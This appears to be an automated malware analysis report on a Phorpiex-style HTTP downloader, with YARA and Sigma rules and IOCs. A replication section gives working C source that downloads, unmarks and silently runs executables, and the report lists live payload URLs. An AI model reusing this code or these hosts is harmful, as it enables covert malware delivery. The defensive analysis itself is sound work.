6b8527a7f761e8a5489b81ea8a79cbbbd9c09485b9b5d7c28cd892ef66599339phorpiex: 6b8527a7 — MSVC9 thin HTTP downloader with mutex-gated payload branching
Executive Summary
A 10 KB PE32 downloader built with Visual C++ 2008 (MSVCR90.dll), compiled 2026-05-22. It pulls up to six payloads sequentially over cleartext HTTP from 178.16.54.109, branches execution based on architecture (x64) and Windows build number (Win11/recent Win10), and gates downloads with marker files in %appdata%. Payloads are written to randomly-named files in %TEMP%, their Zone.Identifier ADS stripped, then executed via CreateProcessW (CREATE_NO_WINDOW) with a ShellExecuteW fallback. Zero packing, zero string encryption, and only a 2-second Sleep at entry point for rudimentary sandbox evasion.
What It Is
| Field | Value |
|---|---|
| SHA-256 | 6b8527a7f761e8a5489b81ea8a79cbbbd9c09485b9b5d7c28cd892ef66599339 |
| File type | PE32 executable (GUI) Intel 80386, 5 sections ^[file.txt] |
| Size | 10 240 bytes |
| Linker | MSVC 9.0 (Visual Studio 2008) ^[exiftool.json:18] |
| CRT | MSVCR90.dll (static manifest dependency on VC90.CRT 9.0.21022.8) ^[strings.txt:73] |
| Compile timestamp | 2026-05-22 16:56:51 UTC ^[pefile.txt:33] |
| Entry point | 0x1885 (standard __tmainCRTStartup → main) ^[pefile.txt:50] |
| Signed | No ^[rabin2-info.txt:27] |
| Packed | No ^[binwalk.txt] |
| CAPE detonation | Skipped — no Windows guest available ^[dynamic-analysis.md] |
OpenCTI / MalwareBazaar label it dropped-by-phorpiex. Confidence remains medium: the label is an umbrella for crimeware spam-delivery campaigns rather than a single code base. This sample's build style (MSVC9 + MSVCR90 + thin IAT) is consistent with historical Phorpiex droppers (e.g. 755bed07) but it eschews the initterm payload-staging seen in earlier siblings in favour of honest main() execution. ^[entities/phorpiex.md]
How It Works
Control Flow
main() (Ghidra: FUN_004014b3) sleeps 2 seconds, then drives the entire show in a flat sequence:
- Download
14.exe→ execute ^[ghidra:FUN_004014b3] - Download
15.exe→ execute - Download
peinf.exe→ execute - Gate A — check
%appdata%\d3333333333333333333.txt. If absent, create it and proceed; else skip all remaining payloads. - Gate B — check
%SYSTEMDRIVE%\Program Files (x86)exists (x64 Windows). If true, proceed. - Gate C — call
RtlGetVersionviaGetProcAddress; requireMajorVersion == 10,MinorVersion == 0,BuildNumber > 21999(Windows 11 or very recent Windows 10). ^[ghidra:FUN_00401435] - If A+B+C pass: download
xmr.exe→ execute - If A+B+C pass: download
xmrget.exe→ execute - Gate D — check
%appdata%\f3f3f3d3d.txt. If absent, create it and proceed; else skip. - If D passes: download
grab.exe→ execute
This is the classic Phorpiex campaign pattern: deliver commodity payloads conditionally based on victim environment, with xmr/xmrget strongly indicating cryptocurrency-mining follow-on and grab / peinf suggesting infostealer or grabber modules.
Downloader Routine (FUN_004010a8)
The downloader implements a dual-path fetch with fallback:
Primary path — WinInet API:
- Seed PRNG with
GetTickCount()viasrand. ^[ghidra:FUN_004010a8] - Expand
%TEMP%to a 260-char buffer. - Generate filename
%TEMP%\<rand>_<rand>.exewhere each random suffix isrand() % 0x7fff + 9000. InternetOpenWwith hardcoded User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36(a 64-bit UA from a 32-bit binary).InternetOpenUrlW→InternetReadFile(4 KB chunks) →CreateFileW→WriteFile→CloseHandle.- Compose
%s:Zone.Identifierpath andDeleteFileWit to strip the download origin mark. ^[ghidra:FUN_004010a8] - Sleep 1 second, then attempt execution via
FUN_00401000.
Fallback path — URLMon:
- If the WinInet path fails (or the execution helper returns false), the function:
- Sleeps a random duration up to 5 minutes (
rand() % 60000 * 5). - Regenerates a random
%TEMP%filename. - Calls
URLDownloadToFileW(NULL, URL, path, 0, NULL). ^[ghidra:FUN_004010a8] - Repeats Zone.Identifier deletion and execution attempt.
- Sleeps a random duration up to 5 minutes (
Execution Helper (FUN_00401000)
Takes the downloaded path and attempts CreateProcessW with dwCreationFlags = 0x20 (CREATE_NO_WINDOW). If that fails, falls back to ShellExecuteW(hwnd=NULL, verb=L"open", file=path, ...) with nShowCmd = 0 (SW_HIDE). Both paths sleep 1 second before closing handles. ^[ghidra:FUN_00401000]
Marker File Gating (FUN_004012fb / FUN_00401370)
Two functions share an identical template:
- Expand
%appdata%. PathCombineWwith a hardcoded filename (d3333333333333333333.txtorf3f3f3d3d.txt).PathFileExistsW. If absent,CreateFileW(CREATE_ALWAYS) thenCloseHandle, returning TRUE.- If present, return FALSE.
These act as poor-man's mutexes — marker files that suppress re-execution of payload branches on subsequent runs. ^[ghidra:FUN_004012fb] ^[ghidra:FUN_00401370]
Decompiled Behavior
Entry point (__tmainCRTStartup) is the standard MSVCR90 CRT wrapper: __wgetmainargs → __tmainCRTStartup → main. No initterm hijack, no pre-main payload. The .text section contains all logic in ~3.5 KB. No anti-debug checks are called in the execution path, despite IsDebuggerPresent appearing in the IAT as an unused CRT import. ^[pefile.txt:331]
Notable functions:
| Address | Name | Role |
|---|---|---|
0x4014b3 |
main |
Orchestrator: Sleep → sequential downloads → gating |
0x4010a8 |
download_and_execute |
WinInet primary + URLMon fallback, Zone.Identifier cleanup |
0x401000 |
exec_file |
CreateProcessW (CREATE_NO_WINDOW) → ShellExecuteW (open, SW_HIDE) |
0x4012fb |
check_first_marker |
%appdata%\d3333333333333333333.txt gate |
0x401370 |
check_second_marker |
%appdata%\f3f3f3d3d.txt gate |
0x4013e5 |
is_x64_windows |
PathFileExistsW("%SYSTEMDRIVE%\Program Files (x86)") |
0x401435 |
is_recent_win10_or_win11 |
RtlGetVersion → Major==10 && Minor==0 && Build>21999 |
C2 Infrastructure
All communication is cleartext HTTP to a single IP. No HTTPS, no domain, no User-Agent rotation, no secondary C2.
| URL | Purpose | Gate required |
|---|---|---|
http://178.16.54.109/14.exe |
Generic payload | None |
http://178.16.54.109/15.exe |
Generic payload | None |
http://178.16.54.109/peinf.exe |
Generic payload | None |
http://178.16.54.109/xmr.exe |
Likely cryptominer | x64 + Build >21999 |
http://178.16.54.109/xmrget.exe |
Likely cryptominer fetcher | x64 + Build >21999 |
http://178.16.54.109/grab.exe |
Likely infostealer/grabber | Marker file D |
Static-only inference — the payload files themselves were not retrieved. The naming (xmr, xmrget, grab, peinf) and the campaign context (dropped-by-phorpiex) support the inferred mapping above. No dynamic execution was available to confirm runtime behavior.
Interesting Tidbits
- Compilation recency: 2026-05-22, only four days before triage. This is a live campaign build. ^[rabin2-info.txt:11]
- 64-bit persona, 32-bit body: The hardcoded Chrome UA claims
Win64; x64, yet the binary is i386 PE32. A minor opsec mismatch. ^[ghidra:FUN_004010a8] - No packing, no obfuscation: Every URL, API name, and file path is stored as plain UTF-16LE in
.rdata. The.textentropy is 6.10 — typical for compiled C, not packed. ^[pefile.txt:92] - No persistence: The downloader writes nothing to Run keys, scheduled tasks, or startup folders. It relies on the spam delivery vector executing again (or the downloaded payloads handling their own persistence).
Zone.Identifierdeletion is the only defense-evasion action beyond basic Sleep gating. This is a standard Phorpiex trait. ^[entities/phorpiex.md]- Absent from this build: The
inittermpayload-hijack callback array seen in older Phorpiex siblings (755bed07) is completely absent. This sample uses an honest CRT main entry.
How To Mess With It (Homelab Replication)
You can reproduce a functionally identical downloader in ~150 lines of C with Visual Studio 2008 (or modern VS with /MT and a VC90 manifest).
Toolchain:
- Visual C++ 2008 (
cl.exe 15.00) or modern VS with/MT+Microsoft.VC90.CRTmanifest dependency. - Link against:
kernel32.lib,wininet.lib,urlmon.lib,shlwapi.lib,shell32.lib,user32.lib,msvcrt.lib.
Key source skeleton:
#include <windows.h>
#include <wininet.h>
#include <urlmon.h>
#include <shlwapi.h>
#include <shellapi.h>
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#pragma comment(lib, "wininet.lib")
#pragma comment(lib, "urlmon.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "shell32.lib")
BOOL download_and_run(LPCWSTR url) {
WCHAR tmp[260], path[260], zone[260];
ExpandEnvironmentStringsW(L"%TEMP%", tmp, 260);
srand(GetTickCount());
_snwprintf(path, 260, L"%s\\%d%d.exe", tmp, rand()%0x7fff+9000, rand()%0x7fff+9000);
HINTERNET h = InternetOpenW(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 ...", 0,0,0,0);
HINTERNET u = InternetOpenUrlW(h, url, NULL, 0, 0, 0);
HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);
DWORD rd, wr; BYTE buf[4096];
while (InternetReadFile(u, buf, sizeof(buf), &rd) && rd) WriteFile(f, buf, rd, &wr, NULL);
CloseHandle(f); InternetCloseHandle(u); InternetCloseHandle(h);
_snwprintf(zone, 260, L"%s:Zone.Identifier", path);
DeleteFileW(zone);
Sleep(1000);
STARTUPINFOW si = {sizeof(si)}; PROCESS_INFORMATION pi;
if (CreateProcessW(NULL, path, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi))
{ CloseHandle(pi.hProcess); CloseHandle(pi.hThread); return TRUE; }
if ((int)ShellExecuteW(NULL, L"open", path, NULL, NULL, SW_HIDE) > 32) return TRUE;
return FALSE;
}
Verification:
- Compile as
/MTRelease Win32. - Run on a Win11 VM with Process Monitor and Wireshark.
- Expect outbound HTTP GET to
178.16.54.109(or replace with your own test HTTP server). - Expect
%TEMP%\<rand>_<rand>.execreation,Zone.Identifierdeletion, andCreateProcessWwithCREATE_NO_WINDOW. - Observe that
%appdata%\d3333333333333333333.txtandf3f3f3d3d.txtare created on first run and suppress branches on rerun.
Deployable Signatures
YARA Rule
rule Phorpiex_Thin_MSVC9_Downloader_2026 {
meta:
description = "Phorpiex-style thin MSVC9 PE32 downloader with dual HTTP fetch and Zone.Identifier cleanup"
author = "PacketPursuit"
date = "2026-06-03"
sha256 = "6b8527a7f761e8a5489b81ea8a79cbbbd9c09485b9b5d7c28cd892ef66599339"
strings:
$ua = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36" wide
$temp = "%TEMP%" wide
$appd = "%appdata%" wide
$zone = "%s:Zone.Identifier" wide
$fmt = "%s\\%d%d.exe" wide
$marker1 = "d3333333333333333333.txt" wide
$marker2 = "f3f3f3d3d.txt" wide
$ntdll = "ntdll.dll" wide
$rtlget = "RtlGetVersion" ascii
$url1 = "http://178.16.54.109/14.exe" wide
$url2 = "http://178.16.54.109/15.exe" wide
$url3 = "http://178.16.54.109/peinf.exe" wide
condition:
uint16(0) == 0x5a4d and
pe.imports("WININET.dll", "InternetOpenUrlW") and
pe.imports("urlmon.dll", "URLDownloadToFileW") and
($ua or $zone or $fmt) and
any of ($url*)
}
Sigma Rules
File-event — marker file creation:
title: Phorpiex Downloader Marker File Creation
status: experimental
description: Detects creation of Phorpiex mutex-style marker files in AppData
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|contains:
- 'd3333333333333333333.txt'
- 'f3f3f3d3d.txt'
condition: selection
falsepositives:
- Unlikely
level: high
Network — known payload server:
title: Phorpiex Payload Server HTTP Request
status: experimental
description: Detects HTTP requests to known Phorpiex payload server 178.16.54.109
logsource:
category: proxy
detection:
selection:
cs-host|contains:
- '178.16.54.109'
condition: selection
falsepositives:
- Unlikely
level: high
IOC List
| Type | Value | Note |
|---|---|---|
| SHA-256 | 6b8527a7f761e8a5489b81ea8a79cbbbd9c09485b9b5d7c28cd892ef66599339 |
Downloader |
| IP | 178.16.54.109 |
Payload server (Moldova, inferred from ASN geolocation) |
| URL | http://178.16.54.109/14.exe |
Generic payload |
| URL | http://178.16.54.109/15.exe |
Generic payload |
| URL | http://178.16.54.109/peinf.exe |
Generic payload |
| URL | http://178.16.54.109/xmr.exe |
Gated: x64 + Win10 build >21999 |
| URL | http://178.16.54.109/xmrget.exe |
Gated: x64 + Win10 build >21999 |
| URL | http://178.16.54.109/grab.exe |
Gated: marker file D |
| File | %TEMP%\<rand><rand>.exe |
Randomized name, 9000–32766 range |
| File | %appdata%\d3333333333333333333.txt |
First-run marker |
| File | %appdata%\f3f3f3d3d.txt |
Second-run marker |
| ADS deletion | %TEMP%\*.exe:Zone.Identifier |
Strips download origin mark |
| UA | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 |
Hardcoded Chrome 128 |
Behavioral Fingerprint Statement
This 10 KB MSVC9 PE32 executable downloads payloads over cleartext HTTP using a hardcoded Chrome 128 User-Agent string (claiming x64 despite being 32-bit), writes them to randomly-named files in %TEMP% (%s\<rand><rand>.exe), strips their Zone.Identifier NTFS ADS to unblock execution, and runs them via CreateProcessW with CREATE_NO_WINDOW (falling back to ShellExecuteW with SW_HIDE). Payload selection is branched by architecture (%SYSTEMDRIVE%\Program Files (x86) check), by Windows build number (RtlGetVersion > 21999), and by mutex-style marker files (d3333333333333333333.txt / f3f3f3d3d.txt) in %appdata%.
Detection Signatures
| ATT&CK Technique | Implementation Evidence | Provenance |
|---|---|---|
| T1204.002 — User Execution: Malicious File | Spam-delivered PE executing as user | OpenCTI label dropped-by-phorpiex |
| T1105 — Ingress Tool Transfer | HTTP download of .exe payloads |
InternetOpenUrlW + URLDownloadToFileW ^[ghidra:FUN_004010a8] |
| T1071.001 — Application Layer Protocol: Web Protocols | Cleartext HTTP GET to 178.16.54.109 |
Hardcoded URLs ^[r2:strings] |
| T1497.001 — Virtualization/Sandbox Evasion: System Checks | RtlGetVersion build gating |
FUN_00401435 ^[ghidra:FUN_00401435] |
| T1564 — Hide Artifacts | Zone.Identifier ADS deletion |
DeleteFileW("%s:Zone.Identifier") ^[ghidra:FUN_004010a8] |
| T1055 — Process Injection (none observed) | Not applicable | No VirtualAllocEx, WriteProcessMemory, or CreateRemoteThread in IAT or decompile |
| T1547 — Boot or Logon Autostart Execution (none observed) | Not applicable | No registry writes, no startup-folder copies |
References
- phorpiex — Family entity page
- Artifact ID:
0a6041cf-e7a6-460b-937d-3ba64b358d21(OpenCTI) - MalwareBazaar: https://mb-api.abuse.ch/api/v1/ (SHA-256
6b8527a7...) - MSVCR90 CRT startup reference: https://docs.microsoft.com/en-us/cpp/c-runtime-library/crt-library-features
Provenance
This report was produced from static artifacts gathered by the triage/deep-drain pipeline plus active reverse-engineering with radare2 and Ghidra. No dynamic execution (CAPE) was available for this sample.
| Tool / File | Version / Note |
|---|---|
file(1) |
PE32 executable (GUI) Intel 80386 ^[file.txt] |
rabin2 |
radare2 — compiled timestamp extraction, strings, decompilation ^[rabin2-info.txt] |
pefile |
Python pefile — section/entropy/import analysis ^[pefile.txt] |
| ExifTool | 12.76 — PE optional-header metadata ^[exiftool.json] |
| Ghidra | Automated analysis + pseudo-C decompilation of all functions |
| capa | FAILED — default signature path missing (pipeline configuration issue) ^[capa.txt] |
| floss | FAILED — CLI argument parsing error (pipeline bug) ^[floss.txt] |
| binwalk | No embedded objects beyond standard PE headers ^[binwalk.txt] |
| YARA | PE_File_Generic, Suspicious_Wininet_Imports ^[yara.txt] |
Report generated by Hermes deep-analysis agent — Demetrian Titus, Lieutenant, Ultramarines Second Company.